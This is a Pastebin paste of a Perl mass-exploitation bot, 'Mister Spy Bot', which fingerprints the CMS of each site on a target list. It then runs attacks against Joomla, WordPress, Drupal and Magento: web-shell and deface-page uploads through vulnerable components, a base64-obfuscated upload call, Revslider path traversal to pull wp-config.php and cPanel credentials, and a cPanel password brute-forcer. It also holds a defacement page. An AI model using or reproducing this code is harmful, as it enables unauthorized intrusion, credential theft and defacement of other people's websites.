API tools faq
paste
Guest User

Untitled

a guest
Jul 4th, 2017
2,787
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 51.12 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use LWP::UserAgent;
  5. use IO::Select;
  6. use HTTP::Response;
  7. use Term::ANSIColor;
  8. use HTTP::Request::Common qw(POST);
  9. use HTTP::Request::Common qw(GET);
  10. use URI::URL;
  11. use IO::Socket::INET;
  12. use Term::ANSIColor qw(:constants);
  13. use MIME::Base64;
  14. use Win32::Console::ANSI;
  15. system("Title Mister Spy Bot");
  16. system("mode con LINES=40 COLS=80");
  17. $logo =" \n
  18. |@|@|@|@| |@|@|@|@| 1-Drupal Add Admin
  19. |@|@|@|@| _____ |@|@|@|@| 2- Magento Add Admin
  20. |@|@|@|@| /\_T_T_/\ |@|@|@|@| 3-Opencart Brute Force
  21. |@|@|@|@||/\ T T /\||@|@|@|@| 4-Joomla .... 9 Exploits
  22. ~/T~~T~||~\/~T~\/~||~T~~T\~ 5-Wordpress 4 Exploits
  23. \|__|_| \(-(O)-)/ |_|__|/
  24. _| _| \\8_8// |_ |_
  25. |(@)] /~~[_____]~~\ [(@)|
  26. ~ ( | | ) ~
  27. [~` ] [ '~]
  28. |~~| |~~|
  29. | | | |
  30. _<\/>_ _<\/>_
  31. /_====_\ /_====_\
  32.  
  33.  
  34. ";
  35. print color('bold yellow');
  36.  
  37. print $logo;
  38. print color('reset');
  39.  
  40. $mrspy ="
  41. ___ ____ _ _____
  42. | \/ (_) | | / ___|
  43. | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _
  44. | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | |
  45. | | | | \__ \ || __/ | /\__/ / |_) | |_| |
  46. \_| |_/_|___/\__\___|_| \____/| .__/ \__, |
  47. | | __/ |
  48. |_| |___/
  49. Bot Mister Spy
  50. ";
  51. print color('bold red');
  52.  
  53. print $mrspy;
  54. print color('reset');
  55.  
  56. print color('bold white');
  57. print color('reset');
  58. print color("bold Green"), "Coded By Mister Spy\n";
  59. print color 'reset';
  60. print color("bold yellow"),"Contact me facebook.com/007mrspy \n";
  61. print color 'reset';
  62. print color("bold white"),"Magic Tool \n";
  63. print color 'reset';
  64.  
  65.  
  66. print "List : \n";
  67. $list=<STDIN>;
  68. ##############################################
  69. # Big Thank's To Gassrini #
  70. # #
  71. ##############################################
  72. open(tarrget,"<$list") or die "add list \n";
  73. while(<tarrget>){
  74. chomp($_);
  75. $site = $_;
  76. if($site !~ /http:\/\//) { $site = "http://$site/"; };
  77. efrez();
  78. }
  79. system("PAUSE");
  80.  
  81. sub efrez($site){
  82. $ua = LWP::UserAgent->new(keep_alive => 1);
  83. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  84. $ua->timeout (15);
  85.  
  86. my $spyxy = $ua->get("$site")->content;
  87. if($spyxy =~/wp-content\/themes\/|wp-content\/plugins\/|wordpress/) {
  88. print color('bold white');
  89. print "[WORDPRESS] $site \n";
  90. print color('reset');
  91. open(save, '>>sites/wordpress.txt');
  92. print save "$site\n";
  93. close(save);
  94. revshell();
  95. gravity();
  96. upindex();
  97. wpinjetc();
  98. getconfig();
  99.  
  100. }
  101.  
  102. elsif($spyxy =~/<script type=\"text\/javascript\" src=\"\/media\/system\/js\/mootools.js\"><\/script>|Joomla!|Joomla|joomla/) {
  103. print color('bold dark');
  104. print "[JOOMLA] $site \n";
  105. print color('reset');
  106. open(save, '>>sites/joomla.txt');
  107. print save "$site\n";
  108. close(save);
  109. comjce();
  110. comediashell();
  111. comediaindex();
  112. comjdowloads();
  113. comblog();
  114. comfabr();
  115. indecomfabr();
  116. mods();
  117.  
  118. open(save, '>>tools/jce.txt');
  119. print save "$site\n";
  120. comjceshell();
  121. open (FILE, '>tools/jce.txt') or die "Cannot open file 'jce.txt'\n";
  122. # write to file
  123. print FILE "";
  124. close (FILE);
  125. close(save);
  126.  
  127. }
  128. elsif($spyxy =~/\/modules\/system\/system.menus.css|\/sites\/default\/files\/|<meta name=\"Generator\" content=\"Drupal 7/) {
  129. print color('bold yellow');
  130. print "[DRUPAL] $site \n";
  131. print color('reset');
  132. open(save, '>>sites/DRUPAL.txt');
  133. print save "$site\n";
  134. close(save);
  135. Drupal();
  136.  
  137. }elsif($spyxy =~/\/Prestashop|\/js\/jquery\/plugins\/|<meta name=\"Generator\" content=\"Prestashop/) {
  138. print color('bold bleu');
  139. print "[Prestashop] $site \n";
  140. print color('reset');
  141. open(save, '>>sites/Prestashop.txt');
  142. print save "$site\n";
  143. close(save);
  144. presta();
  145. }
  146. elsif($spyxy =~/\/Magento\/|\/js\/mage|\/skin\/frontend/) {
  147. print color('bold dark');
  148. print "[Magento] $site \n";
  149. print color('reset');
  150. open(save, '>>sites/Magento.txt');
  151. print save "$site\n";
  152. open(save, '>>tools/mag.txt');
  153. print save "$site\n";
  154. magento();
  155. open (FILE, '>tools/mag.txt') or die "Cannot open file 'mag.txt'\n";
  156. print FILE "";
  157. close (FILE);
  158. close(save);
  159. }elsif($spyxy =~/\/opencart\/|\/view\/javascript|\/view\/javascript/) {
  160. print color('bold dark');
  161. print "[drupal] $site \n";
  162. print color('reset');
  163. open(save, '>>sites/drupal.txt');
  164. print save "$site\n";
  165. open(save, '>>tools/open.txt');
  166. print save "$site\n";
  167. }elsif($efreez =~/<meta name="description" content="vBulletin Forums" \/>|<meta name="generator" content="vBulletin" \/>|vBulletin.version =|"baseurl_core":/) {
  168. system("color 7");
  169. print \"[VBULLETiN] $site \n";
  170. open(save, '>>sites/vbulletin.txt');
  171. print save "$site\n";
  172. close(save);
  173. }
  174. else{
  175. print color('bold red');
  176. print "\n[UNKNOWN] $site\n";
  177. print color('reset');
  178. }
  179. }
  180. ######################
  181. ######################
  182. ######################
  183. ###### Drupal ########
  184. ######################
  185. ######################
  186. ######################
  187. sub Drupal(){
  188.  
  189. $ua = LWP::UserAgent->new(keep_alive => 1);
  190. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  191. $ua->timeout (20);
  192. print color('bold yellow');
  193. print"Trying Drupal Password Change ... ";
  194. print color('reset');
  195.  
  196. $drupalink = "http://localhost/drup.php";
  197. my $exploit = "$drupalink?url=$site&submit=submit";
  198. my $checkk = $ua->get("$exploit")->content;
  199. if($checkk =~/Success!/) {
  200. $admin ="admin";
  201. $pass ="admin";
  202. $wp = $site . '/user/login';
  203. $red = $site . '/user/1';
  204.  
  205. $brute = POST $wp, [name => $admin, pass => $pass, form_build_id =>'', form_id => 'user_login',op => 'Log in', location => $red];
  206. $response = $ua->request($brute);
  207. $stat = $response->status_line;
  208. if ($stat =~ /302/){
  209. print color('bold green');
  210. print " Success ... :D\n";
  211. print color('reset');
  212. print "$site => User | $admin Password | $pass\n ";
  213. open(save, '>>BotV2/brute.txt');
  214. print save "[Drupal] $site | username : admin | pass: admin\n";
  215. close(save);
  216. }
  217. elsif ($stat =~ /404/){
  218. print color('bold red');
  219. print "Failed .... :( \n";
  220. print color('reset');
  221. }
  222. }else{
  223. print color('bold red');
  224. print "Failed .... :( \n";
  225. print color('reset');
  226.  
  227.  
  228. }
  229.  
  230. }
  231.  
  232.  
  233. ######################
  234. ######################
  235. ######################
  236. ###### Jce Img #######
  237. ######################
  238. ######################
  239. ######################
  240.  
  241.  
  242.  
  243.  
  244. sub comjce(){
  245. $ua = LWP::UserAgent->new();
  246. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  247. $ua->timeout(15);
  248.  
  249.  
  250. $exploiturl="/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20";
  251.  
  252. $vulnurl=$site.$exploiturl;
  253. $res = $ua->get($vulnurl)->content;
  254. print "Trying JCE Image Upload ... ";
  255. if ($res =~ m/No function call specified!/i){
  256. my $res = $ua->post($vulnurl,
  257. Content_Type => 'form-data',
  258. Content => [
  259. 'upload-dir' => './../../',
  260. 'upload-overwrite' => 0,
  261. 'Filedata' => ["tools/spy.gif"],
  262. 'action' => 'upload'
  263. ]
  264. )->decoded_content;
  265. if ($res =~ m/"error":false/i){
  266.  
  267. }else{
  268. print color('bold red');
  269. print "JCE Failed .... :( \n ";
  270. print color('reset');
  271.  
  272.  
  273. }
  274.  
  275. $remote = IO::Socket::INET->new(
  276. Proto=>'tcp',
  277. PeerAddr=>"$site",
  278. PeerPort=>80,
  279. Timeout=>15
  280. );
  281. $def= "$site/spy.gif";
  282. $check = $ua->get($def)->status_line;
  283. if ($check =~ /200/){
  284. open(save, '>>BotV2/index.txt');
  285. print save "[Defaced JCE] $def\n";
  286. close(save);
  287. print color('bold green');
  288. print "Success Upload Image \n$site/spy.gif\n";
  289. print color('reset');
  290. zoneh();
  291.  
  292.  
  293.  
  294. }
  295.  
  296. }
  297. else{
  298. print color('bold red');
  299. print "Failed .... :( \n";
  300. print color('reset');
  301.  
  302. }
  303. }
  304.  
  305. ######################
  306. ######################
  307. ######################
  308. ###### Media #######
  309. ######################
  310. ######################
  311. ######################
  312. sub comediashell($site){
  313. print"Trying Com Media Upload Shell3z ...";
  314. $tarmedia="$site/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=";
  315. $shlez = "upmedia.php";
  316. $shlz="$site/images/upmedia.php";
  317. $ua = LWP::UserAgent->new;
  318. $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
  319. $sorm = $ua->get($tarmedia);
  320. $karza = $sorm->content;
  321. if($karza =~/<form action="(.*?)" id=\"uploadForm\" class=\"form-horizontal\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ || $karza =~ /<form action="(.*?)" id=\"uploadForm\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ )
  322. {
  323. $url = $1;
  324. $url =~ s/&amp;/&/gi;
  325. print save "[Media] $site\n";
  326. close(save);
  327. my $res = $ua->post($url, Content_Type => 'form-data', Content => [ Filedata => [$shlez] ]);
  328. $check = $ua->get($shlz);
  329. if($check->content =~/Mister Spy/) {
  330. print "success \n [SHELL LINK] => $shlz\n ";
  331. open (TEXT, '>>BotV2/Shell3z.txt');
  332. print TEXT "\n[ COM MEDIA SHELL] =>$shlz \n";
  333. close (TEXT);
  334.  
  335. }
  336. } else{
  337. print color('bold red');
  338. print " Failed ... :(\n";
  339. print color('reset');
  340. }}
  341. sub comediaindex(){
  342. print"Trying Com Media Upload Index ...";
  343. $filemedia = "tools/sniper.txt";
  344. $indexmedia="$site/images/sniper.txt";
  345. $ua = LWP::UserAgent->new;
  346. $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
  347. $sorm = $ua->get($tarmedia);
  348. $karza = $sorm->content;
  349. if($karza =~/<form action="(.*?)" id=\"uploadForm\" class=\"form-horizontal\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ || $karza =~ /<form action="(.*?)" id=\"uploadForm\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ )
  350. {
  351. $url = $1;
  352. $url =~ s/&amp;/&/gi;
  353. my $res = $ua->post($url, Content_Type => 'form-data', Content => [ Filedata => [$filemedia] ]);
  354. $check = $ua->get($indexmedia);
  355. if($check->content =~/Hacked/ ) {
  356. print " Success Defaced \n ";
  357.  
  358. print "[INDEX LINK] => $indexmedia \n";
  359. open (TEXT, '>>BotV2/index.txt');
  360. print TEXT "[ COM MEDIA Index] => $indexmedia \n";
  361. close (TEXT);
  362.  
  363.  
  364. $def="$shlz";
  365. zoneh();
  366. }
  367. } else{
  368. print color('bold red');
  369. print " Failed ... :(\n";
  370. print color('reset');
  371. }
  372. }
  373.  
  374. ######################
  375. ######################
  376. ######################
  377. ##### Jdownload ######
  378. ######################
  379. ######################
  380. ######################
  381.  
  382. sub comjdowloads($site){
  383. print"Trying comjdowloads Upload Shell3z ... ";
  384. $file="tools/spy.rar";
  385. $filez="tools/spy.php.php.j";
  386. $jdup= $site . 'index.php?option=com_jdownloads&Itemid=0&view=upload';
  387. $shellpath= $site . '/images/jdownloads/screenshots/spy.php.j';
  388.  
  389. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  390. $ua->timeout(10);
  391. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  392.  
  393. my $exploit = $ua->post("$jdup", Cookie => "", Content_Type => "form-data", Content => [ name=>"Mister Spy", mail=>"moetazbusiness@gmail.com", filetitle =>"Mister Spy Team", catlist=>"1", license=>"0", language=>"0", system=>"0",file_upload=>["$file"], pic_upload=>["$filez"], description=>"<p>zot</p>", senden=>"Send file", option=>"com_jdownloads", view=>"upload", send=>"1", "24c22896d6fe6977b731543b3e44c22f"=>"1"]);
  394.  
  395. if ($exploit->decoded_content =~ /The file was successfully transferred to the server/) {
  396.  
  397.  
  398. my $checkshell = $ua->get("$shellpath")->content;
  399. if($checkshell =~/Mister Spy/) {
  400. print "success \n [SHELL LINK] => $shellpath\n ";
  401. print "[SHELL LINK] => $shellpath \n";
  402. open (TEXT, '>>BotV2/Shell3z.txt');
  403. print TEXT "[ JDWN SHELL] => $shellpath\n";
  404. close (TEXT);
  405. }
  406.  
  407. }else{
  408. print color('bold red');
  409. print " Failed ... :(\n";
  410. print color('reset');
  411. }
  412.  
  413.  
  414. print"Trying comjdowloads Upload Index Or Gif ... ";
  415.  
  416. $def = $site . '/images/jdownloads/screenshots/spy.html.j';
  417. $filee="tools/spy.rar";
  418. $filezz="tools/spy.html.j";
  419. my $exploitx = $ua->post("$jdup", Cookie => "", Content_Type => "form-data", Content => [ name=>"Mister Spy", mail=>"moetazbusiness@gmail.com", filetitle =>"Mister Spy Team", catlist=>"1", license=>"0", language=>"0", system=>"0",file_upload=>["$filee"], pic_upload=>["$filezz"], description=>"<p>zot</p>", senden=>"Send file", option=>"com_jdownloads", view=>"upload", send=>"1", "24c22896d6fe6977b731543b3e44c22f"=>"1"]);
  420. if ($exploit->decoded_content =~ /The file was successfully transferred to the server/) {
  421.  
  422.  
  423. my $response = $ua->get("$def")->status_line;
  424. if ($response =~ /200/){
  425. print "Success Defaced :D \n $def \n";
  426. open (TEXT, '>>BotV2/index.txt');
  427. print TEXT "[ JDWN Index] => $def\n";
  428. close (TEXT);
  429.  
  430. zoneh();
  431. }else{
  432. print color('bold red');
  433. print " Failed ... :(\n";
  434. print color('reset');
  435. }
  436. }
  437. else{
  438. print color('bold red');
  439. print " Failed ... :(\n";
  440. print color('reset');
  441.  
  442. }
  443.  
  444. }
  445.  
  446. ######################
  447. ######################
  448. ######################
  449. ##### JcE sHell ######
  450. ######################
  451. ######################
  452. ######################
  453. sub comjceshell(){
  454. system("jce.bat");
  455. }
  456. ####################################################################################################
  457. ####################################################################################################
  458. ########################################## COM ADS ANAGER ##########################################
  459. ####################################################################################################
  460. ####################################################################################################
  461. sub comadsmanegr(){
  462. print "Trying Com Ads Manger Upload ... ";
  463. my $path = "/index.php?option=com_adsmanager&task=upload&tmpl=component";
  464. if($site !~ /http:\/\//) { $target = "http://$site/"; };
  465. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  466. $ua->timeout(10);
  467. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  468. my $exploit = $ua->post("$site/$path", Cookie => "", Content_Type => "form-data", Content => [file => ["def.jpg"], name => "def.html"]);
  469. if ($exploit->decoded_content =~ /def.html/) {
  470. open(save, '>>BotV2/index.txt');
  471. print save "[ads] $site\n";
  472. close(save);
  473.  
  474. $def="$site/tmp/plupload/def.html";
  475. my $checkdef = $ua->get("$def")->content;
  476. if($checkdef =~/Mister Spy/) {
  477. print "Defaced ... :D \n ";
  478.  
  479. print "[INDEX LINK] => $def\n";
  480. zoneh();
  481. adshell();
  482. }
  483. }else{
  484. print color('bold red');
  485. print " Failed ... :(\n";
  486. print color('reset');
  487.  
  488. ;
  489. }
  490. }
  491.  
  492.  
  493.  
  494.  
  495. sub adshell(){
  496.  
  497. print "Trying Ads Manger Upload Shell ... ";
  498. my $path = "/index.php?option=com_adsmanager&task=upload&tmpl=component";
  499. my $exploitxx = $ua->post("$site/$path", Cookie => "", Content_Type => "form-data", Content => [file => ["adshell.jpg"], name => "sniper.php"]);
  500. if ($exploitxx->decoded_content =~ /sniper.php/) {
  501.  
  502.  
  503. my $check = $ua->get("$site/tmp/plupload/sniper.php")->content;
  504. my $checkk = $ua->get("$site/sniper.php")->content;
  505. if($checkk =~/Mister Spy/) {
  506. print "success :D\n";
  507.  
  508. print "[SHELL LINK] => $site/sniper.php\n";
  509. open(save, '>>BotV2/Shell3z.txt');
  510. print save "[ADS] $site/sniper.php\n";
  511. close(save);
  512. my $checkjo = $ua->get("$site/sniper.php")->content;
  513. }
  514. }
  515.  
  516. }
  517. ####################
  518. #mode exploit ######
  519. ####################
  520. sub mods($site){
  521. print "Trying mod_simplefileupload Shell Upload ... ";
  522.  
  523. my $gh = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  524. $gh->timeout(10);
  525. $gh->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  526.  
  527.  
  528. $file="spy.php";
  529. $jdup= $site . '/modules/mod_simplefileuploadv1.3/elements/udd.php';
  530. $shell= $site . '/modules/mod_simplefileuploadv1.3/elements/spy.php';
  531.  
  532.  
  533.  
  534. my $exploit = eval(decode_base64('JGdoLT5wb3N0KCIkamR1cCIsIENvbnRlbnRfVHlwZSA9PiAibXVsdGlwYXJ0L2Zvcm0tZGF0YSIsIENvbnRlbnQgPT4gWyBmaWxlPT5bIiRmaWxlIl0gLCBzdWJtaXQ9PiJVcGxvYWQiIF0pOw=='));
  535.  
  536.  
  537. my $check = $gh->get("$shell")->content;
  538. if($check =~/Mister Spy/) {
  539. print color('bold green');
  540. print " Success ... :D\n";
  541. print color('reset');
  542. open (TEXT, '>>BotV2/Shell3z.txt');
  543. print TEXT "[ Shell LINK ] => $site/cloud.php\n";
  544. close (TEXT);
  545. open (TEXT, '>>BotV2/index.txt');
  546. print TEXT "[ Deface Link LINK ] => $site/readme.html\n";
  547. close (TEXT);
  548.  
  549. $def =$site .'/readme.html';
  550. zoneh();
  551.  
  552. }
  553. else
  554. {
  555. print color('bold red');
  556. print " Failed ... :(\n";
  557. print color('reset');
  558. }
  559.  
  560.  
  561. }
  562.  
  563. ######################
  564. ######################
  565. ######################
  566. ##### Magnti ######
  567. ######################
  568. ######################
  569. ######################
  570. sub magento(){
  571. system("magento.bat");
  572. }
  573. ######################
  574. ######################
  575. ######################
  576. ##### Com Blog ######
  577. ######################
  578. ######################
  579. ######################
  580. sub comblog(){
  581. print"Trying Com Blog Vul ... ";
  582.  
  583.  
  584. $uaa = LWP::UserAgent->new(keep_alive => 1);
  585. $uaa->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  586. $uaa->timeout (10);
  587.  
  588. my $exploitblog = "$site/index.php?option=com_myblog&task=ajaxupload";
  589. my $checkblog = $uaa->get("$exploitblog")->content;
  590. if($checkblog =~/has been uploaded/) {
  591. print color('bold green');
  592. print " Success ... :D\n";
  593. print color('reset');
  594.  
  595. open(save, '>>BotV2/cmblog.txt');
  596. print save "[blog] $site Try Manulle\n";
  597. close(save);
  598.  
  599. }
  600. else { print color('bold red');
  601. print "Failed .... :(\n";
  602. print color('reset');
  603.  
  604. }
  605. }
  606.  
  607. ######################
  608. ######################
  609. ######################
  610. ###### Revslider ######
  611. ######################
  612. ######################
  613. ######################
  614. sub getconfig{
  615. print"Trying Revslider Vul ... ";
  616. $ua = LWP::UserAgent->new(keep_alive => 1);
  617. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  618. $ua->timeout (10);
  619. $config = "wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php";
  620. $conflink = "$site/$config";
  621. $resp = $ua->request(HTTP::Request->new(GET => $conflink ));
  622. $conttt = $resp->content;
  623. if($conttt =~ m/DB_NAME/g){
  624. print color('bold green');
  625. print "Sucess .... :(\n";
  626. print color('reset');
  627. print save "[rev cnfg] $site\n";
  628. close(save);
  629. $resp = $ua->request(HTTP::Request->new(GET => $conflink ));
  630. $cont = $resp->content;
  631. while($cont =~ m/DB_NAME/g){
  632.  
  633.  
  634. if ($cont =~ /DB_NAME\', \'(.*)\'\)/){
  635. print "\t[-]Database Name = $1 \n";
  636. print color 'reset';
  637. open (TEXT, '>>BotV2/config.txt');
  638. print TEXT "\n[ DATABASE ] \n$site\n[-]Database Name = $1";
  639. close (TEXT);
  640. }
  641. if ($cont =~ /DB_USER\', \'(.*)\'\)/){
  642. print "\t[-]Database User = $1 \n";
  643. print color 'reset';
  644. open (TEXT, '>>BotV2/config.txt');
  645. print TEXT "\n[-]Database User = $1";
  646. close (TEXT)
  647. }
  648. if ($cont =~ /DB_PASSWORD\', \'(.*)\'\)/){
  649. print "\t[-]Database Password = $1 \n";
  650. print color 'reset';
  651. $pass= $1 ;
  652. open (TEXT, '>>BotV2/config.txt');
  653. print TEXT "\nDatabase Password = $pass";
  654. close (TEXT)
  655. }
  656. if ($cont =~ /DB_HOST\', \'(.*)\'\)/){
  657. print "\t[-]Database Host = $1 \n\n";
  658. print color 'reset';
  659. open (TEXT, '>>BotV2/config.txt');
  660. print TEXT "\n[-]Database Host = $1";
  661. close (TEXT)
  662. }
  663.  
  664. wpbrute();
  665. getcpconfig();
  666. }}else{
  667. print color('bold red');
  668. print "Failed To Get Config ......:(\n";
  669. print color('reset');
  670.  
  671. getcpconfig();
  672.  
  673. }
  674.  
  675. }
  676. ####################################################################################################
  677. ####################################################################################################
  678.  
  679. sub getcpconfig{
  680. print colored ("[REVSLIDER GET CPANEL]",'white on_red');
  681. $ua = LWP::UserAgent->new(keep_alive => 1);
  682. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  683. $ua->timeout (10);
  684. $cpup = "wp-admin/admin-ajax.php?action=revslider_show_image&img=../../.my.cnf";
  685. $cpuplink = "$site/$cpup";
  686. $resp = $ua->request(HTTP::Request->new(GET => $cpuplink ));
  687. $cont = $resp->content;
  688. if($cont =~ m/user=/g){
  689. print " ...... ";
  690. print color('bold white');
  691. print "[";
  692. print color('reset');
  693. print color('bold green');
  694. print "FOUNDED";
  695. print color('reset');
  696. print color('bold white');
  697. print "] \n";
  698. print color('reset');
  699. open(save, '>>Result/vulntargets.txt');
  700. print save "[rev cpnl] $site\n";
  701. close(save);
  702. $resp = $ua->request(HTTP::Request->new(GET => $cpuplink ));
  703. $contt = $resp->content;
  704. while($contt =~ m/user/g){
  705. if ($contt =~ /user=(.*)/){
  706.  
  707. print color("red"),"\n\t[-]Cpanel User = $1 \n";
  708. print color 'reset';
  709. open (TEXT, '>>Result/cpanels.txt');
  710. print TEXT "\n[ cpanel ] \n$site\n[-]cpanel user = $1";
  711. close (TEXT);
  712. }
  713. if ($contt =~ /password="(.*)"/){
  714. print color("white"),"\t[-]Cpanel Pass = $1 \n\n";
  715. print color 'reset';
  716. open (TEXT, '>>Result/cpanels.txt');
  717. print TEXT "\n[-]Cpanel Pass = $1";
  718. close (TEXT)
  719. }
  720.  
  721.  
  722. }
  723. }else{print " .. ";
  724. print color('bold white');
  725. print "[";
  726. print color('reset');
  727. print color('bold red');
  728. print "NOT FOUNDED";
  729. print color('reset');
  730. print color('bold white');
  731. print "] \n";
  732. print color('reset');
  733. }
  734.  
  735.  
  736. }
  737.  
  738.  
  739.  
  740. sub getcpconfig{
  741. print"Trying Get Cpanel Vul ... ";
  742. $ua = LWP::UserAgent->new(keep_alive => 1);
  743. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  744. $ua->timeout (10);
  745. $cpup = "wp-admin/admin-ajax.php?action=revslider_show_image&img=../../.my.cnf";
  746. $cpuplink = "$site/$cpup";
  747. $resp = $ua->request(HTTP::Request->new(GET => $cpuplink ));
  748. $cont = $resp->content;
  749. if($cont =~ m/user=/g && $cont =~ m/password=/g){
  750. print color('bold green');
  751. print " Success ... :D\n";
  752. print color('reset');
  753.  
  754. print save "[rev cpnl] $site\n";
  755. close(save);
  756. $resp = $ua->request(HTTP::Request->new(GET => $cpuplink ));
  757. $contt = $resp->content;
  758. while($contt =~ m/user/g){
  759. if ($contt =~ /user=(.*)/){
  760.  
  761. print "\n\t[-]Cpanel User = $1 \n";
  762. print color 'reset';
  763. open (TEXT, '>>BotV2/cp.txt');
  764. print TEXT "\n[ cpanel ] \n$site\n[-]cpanel user = $1";
  765. close (TEXT);
  766. }
  767. if ($contt =~ /password="(.*)"/){
  768. print "\t[-]Cpanel Pass = $1 \n\n";
  769. print color 'reset';
  770. open (TEXT, '>>BotV2/cp.txt');
  771. print TEXT "\n[-]Cpanel Pass = $1";
  772. close (TEXT)
  773. }
  774.  
  775.  
  776. }
  777. }else{ print color('bold red');
  778. print "Failed .... :( \n";
  779. print color('reset');
  780.  
  781. }
  782.  
  783.  
  784. }
  785. #######################
  786. # cpanel checker
  787. #!/usr/bin/perl
  788. # Cpanel Password Brute Forcer
  789. # ----------------------------
  790. # re(c)oded By JOK3D
  791. # Perl Version ( low speed ) wordlist http://www.mediafire.com/download/glyzo6ubjgo0n7k/14+million+pass.rar
  792. # Original Advisory : Ycfd Association
  793. # https://roryprayana.org
  794. sub cpanelchec(){
  795. use IO::Socket;
  796. use LWP::Simple;
  797. use MIME::Base64;
  798.  
  799. $host = $url;
  800. $user = $user;
  801. $port = "2082";
  802. $list = "cpcheck.txt";
  803. $file = "cp.txt";
  804. $url = $host.":".$port;
  805.  
  806.  
  807.  
  808. $numstart = "-1";
  809.  
  810.  
  811. open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
  812. @PASSWORDS = <PASSFILE>;
  813. close PASSFILE;
  814. foreach my $P (@PASSWORDS) {
  815. chomp $P;
  816. $passwd = $P;
  817. print "Let Me Make Sur About T : $passwd \n";
  818. &brut;
  819. };
  820. sub brut() {
  821. $authx = encode_base64($user.":".$passwd);
  822. print $authx;
  823. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host";
  824. print $sock "GET / HTTP/1.1\n";
  825. print $sock "Authorization: Basic $authx\n";
  826. print $sock "Connection: Close\n\n";
  827. read $sock, $answer, 128;
  828. close($sock);
  829.  
  830. if ($answer =~ /Moved/) {
  831. print "\n [~] PASSWORD FOUND : $passwd \n";
  832. exit();
  833. }
  834. }
  835. }
  836.  
  837.  
  838.  
  839.  
  840. ######################
  841. ######################
  842. ######################
  843. ###### PMA SCAN ######
  844. ######################
  845. ######################
  846. ######################
  847. sub pmaa{
  848. print"Trying PHP MY ADMIN SCANNER ... ";
  849. use HTTP::Request;
  850. use LWP::UserAgent;
  851. @pat=('/phpMyAdmin/','/phpmyadmin/');
  852. foreach $pma(@pat){
  853. chomp $pma;
  854.  
  855. $url = $site.$pma;
  856. $req = HTTP::Request->new(GET=>$url);
  857. $userAgent = LWP::UserAgent->new();
  858. $response = $userAgent->request($req);
  859. $ar = $response->content;
  860. if ($ar =~ m/Welcome to phpMyAdmin|Username|Password/g){
  861. print color('bold green');
  862. print " Success ... :D\n";
  863. print color('reset');
  864. open (TEXT, '>>BotV2/config.txt');
  865. print TEXT "\n[PhpMyAdmin] $url \n\n";
  866. close (TEXT);
  867.  
  868. }else{
  869.  
  870. print color('bold red');
  871. print "Failed .... :( \n";
  872. print color('reset');
  873.  
  874. }}
  875.  
  876. }
  877. ######################
  878. ######################
  879. ######################
  880. ## Wordpress Inject ##
  881. ######################
  882. ######################
  883. ######################
  884. sub wpinjetc(){
  885. print"Trying Wordpress Inject ... ";
  886.  
  887. $ua = LWP::UserAgent->new(keep_alive => 1);
  888. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  889. $ua->timeout (30);
  890.  
  891.  
  892. $sorm = $ua->get($linkposts);
  893. $karza = $sorm->content;
  894. if($karza =~/\/?p=(.*?)\"\}/)
  895. {
  896. $id=$1;
  897. $ajx = $site . '/wp-json/wp/v2/posts/'.$id;
  898.  
  899.  
  900.  
  901.  
  902. $def=" <h2><center>Hacked By Sniper-Jo<center></h2>
  903. </div>
  904. <div class=\"post_content\">
  905. <p><title>Hacked By Sniper-Jo
  906. </title></p>
  907. <div style=\"text-align: center\"><font size=\"6\" face=\"comic sans ms\"><b>Hacked By Sniper-Jo</b></font></div>
  908. <div style=\"text-align: center\"><font size=\"5\" face=\"comic sans ms\"><b><br /></b></font></div>
  909. <div style=\"text-align: center\"><font size=\"5\" face=\"comic sans ms\"><b><font color=red>Fuck</font> Mister Spy <font color=red>Fuck</font> Mister Spy <font color=red>Hacked</font> Sniper-Jo <font color=red>Fuck</font> Sniper-Jo <font color=red>Fuck</font> Sniper-Jo <br /></b></font></div>
  910. <div style=\"text-align: center\"><font size=\"5\" face=\"comic sans ms\"><b>thank you gassrini for the tool <br /></b></font></div>
